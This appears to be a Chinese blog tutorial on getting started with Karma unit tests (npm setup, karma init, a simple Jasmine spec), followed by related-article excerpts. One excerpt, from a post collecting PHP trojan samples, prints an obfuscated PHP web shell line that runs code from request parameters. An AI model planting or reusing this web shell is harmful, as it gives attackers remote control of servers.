karma单元测试入门
学习angularjs,都会遇到karma单元测试,可是初学者面对复杂的测试配置往往不知从何入手,下面我们将抛开angularjs,单独使用两个js文件,完成一次测试入门。
0,karma原理
1,文件目录
两个js文件,一个package.json
2,生成步骤
(1)生成package.json,在文件夹下运行
npm init
(2)安装karma依赖,在文件夹下运行
npm install karma karma-jasmine karma-chrome-launcher --save-dev
局部安装 karma karma-jasmine karma-chrome-launcher ,并保存到package.json中。这三个包缺一不可,
有些同学,是全局安装karma,那么请把karma-jasmine karma-chrome-launcher 也全局安装,否则会出现no provider jasmine的bug。至少在ubuntu 中是如此。
全局安装命令
npm install -g karma karma-jasmine karma-chrome-launcher
(3)配置karma,在文件夹下运行
karma init karma.conf.js
(4),编写demo.js
describe('A spec suite', function() {
it('contains a passing spec', function() {
expect(true).toBe(true);
});
});
describe负责打包it(),测试时候会在console中打印'A spec suite',没别的作用;
it()负责单个测试,测试时候会在console中打印'contains a passing spec',没别的作用;
expect(a).tobe(b)负责测试a是否等于b,测试时候会在console中打印对错;
还有很多其他的函数,将来再学,个人不建议初学者一口吃个大胖子。
3,运行测试
在根目录下运行
karma start karma.conf.js
效果:
karma单元测试入门的更多相关文章
- Android Studio单元测试入门
Android Studio单元测试入门 通常在开发Android app的时候经常会写一些小函数并验证它是否运行正确,通常做法我们是把这个函数放到某个界面(Activity上)执行一下,运行整个工程 ...
- 【前端单元测试入门04】Karma
Karma 官方介绍 A simple tool that allows you to execute JavaScript code in multiple real browsers. 即一个允许 ...
- 爱上iOS单元测试系列之爱上她就要先了解她:单元测试入门
前言 对于单元测试一开始我是拒绝的.单元测试是一个什么东东,因为我喜欢做iOS开发是因为喜欢写APP的啊,一切和这一目标不相干的东西我没兴趣啊,所以从事iOS开发几年都没去深入学习过单元测试(主要是之 ...
- Grunt - Karma 单元测试
Karma 是 Goolge 开源的一个 Test runner, 可以配合 Grunt 使用. 1. 相关插件介绍 1.1 Karma 的官网 http://karma-runner.github. ...
- VS单元测试入门实践教程
摘要:本教程不会介绍单元测试的基本理论知识,也不会和大家讨论在实际项目中是否需要写单元测试代码的问题.但是如果你此时想使用VS中的单元测试的工具来测试某个方法是否正确,可你又从来没真正实践过,那么本教 ...
- Jest 单元测试入门
今天,我们要讲的是 Jest 单元测试的入门知识. 为何要进行单元测试? 在学习 Jest 之前,我们需要回答一个问题:为何要进行单元测试?编写单元测试可以给你带来很多好处: 将测试自动化,无需每次都 ...
- VS2010单元测试入门实践教程
单元测试的重要性这里我就不多说了,以前大家一直使用NUnit来进行单元测试,其实早在Visual Studio 2005里面,微软就已经集成了一个叫Test的专门测试插件,经过几年的发展,这个工具现在 ...
- php单元测试入门教程phpunit详解
本文档提供了一些phpunit官方教程没有提到的信息,帮助初学者快速了解php单元测试,在phpunit官网提供了详细的中文教程,可选多种格式下载 phpunit官网地址:https://phpuni ...
- VS2013:Unit Test 单元测试入门
一.打开VS ,找到工具栏的“工具->扩展和更新”,添加图片内容 二.新建控制台应用程序: CalculatorDemo 三.新建类:Operation.cs,并添加方法 namespace C ...
随机推荐
- debian下使用Sphinx异常“Could not import extension sphinx.builders.linkcheck (exception: cannot import name SSLError)”的解决
最近使用到Sphinx编译文档,出现如下异常: Extension error:Could not import extension sphinx.builders.linkcheck (except ...
- cocospods 最新安装教程
Terminator 终端原来 安装 cocoa pods 终端命令 :sudo gem install cocoapods #已经无效系统更新后的 cocoa pods 终端命令 : sudo ...
- php木马样本,持续更新
<?array_map("ass\x65rt",(array)$_REQUEST[dede]);?> <?php $command=$_POST[1990]; @ ...
- 关于chrome控制台那些事
作为一名前端,除了编写完美代码之外(个人还不具备),当然也要会调试啦,对于firebug比较而言,我还是更喜欢chrome控制台比较多(可能使用较多,更顺手的原因吧).所以来总结下,关于chrome控 ...
- swiper插件 纵向内容超出一屏解决办法
1.css .swiper-slide { overflow: auto; } 2.js var swiper = new Swiper('.swiper-container', { directio ...
- 新版startssl 免费SSL证书申请 (实测 笔记 https http2 必要条件)
简单说明: 目前多个大型网站都实现全站HTTPS,而SSL证书是实现HTTPS的必要条件之一. StartSSL是StartCom公司旗下的.提供免费SSL证书服务并且被主流浏览器支持的免费SSL.包 ...
- TreeView 使用方法:(在View.Details模式下)
1.建立TreeView的標題 2.建立TreeView的Item 3.在TreeView的Item中的建立SubItem 如果將各部 ...
- IT人士必去的10个网站
1.Chinaunix 网址:http://www.chinaunix.net/ 简介:中国最大的linux/unix技术社区. 2.ITPub 网址:http://www.itpub.net/ 简介 ...
- 编译可在Android上运行的qemu user mode
前言 本文在Ubuntu 64位系统上对qemu项目进行交叉编译,并且只编译与qemu user mode有关的代码. 下文中的”NDK”若无特殊说明均指”Android NDK”. 下文中”$NDK ...
- MyBatis(跨表查询)
1.建立数据库表如下: DROP TABLE IF EXISTS t_demo_user; CREATE TABLE IF NOT EXISTS t_demo_user( userid ), user ...